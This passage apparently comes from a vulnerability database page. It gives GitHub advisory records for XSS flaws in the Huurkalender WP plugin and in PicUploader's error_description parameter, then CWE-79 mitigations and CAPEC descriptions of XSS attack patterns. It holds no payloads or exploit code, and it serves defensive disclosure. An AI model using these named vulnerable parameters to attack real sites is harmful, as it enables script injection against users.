"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T16:15:47Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Huurkalender Huurkalender WP allows Stored XSS.This issue affects Huurkalender WP: from n/a through 1.5.6.",
"id": "GHSA-m5j5-r43x-p3hr",
"modified": "2026-04-01T18:33:03Z",
"published": "2025-01-07T18:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22528"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/huurkalender-wp/vulnerability/wordpress-huurkalender-wp-plugin-1-5-6-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-M5J8-89Q3-Q39Q
Vulnerability from github – Published: 2024-08-26 21:30 – Updated: 2024-09-07 00:31A cross-site scripting (XSS) vulnerability in the component /auth/AzureRedirect.php of PicUploader commit fcf82ea allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the error_description parameter.
{
"affected": [],
"aliases": [
"CVE-2024-44796"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-26T20:15:08Z",
"severity": "MODERATE"
},
"details": "A cross-site scripting (XSS) vulnerability in the component /auth/AzureRedirect.php of PicUploader commit fcf82ea allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the error_description parameter.",
"id": "GHSA-m5j8-89q3-q39q",
"modified": "2024-09-07T00:31:28Z",
"published": "2024-08-26T21:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44796"
},
{
"type": "WEB",
"url": "https://github.com/xiebruce/PicUploader/issues/90"
},
{
"type": "WEB",
"url": "https://github.com/xiebruce/PicUploader"
},
{
"type": "WEB",
"url": "http://picuploader.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.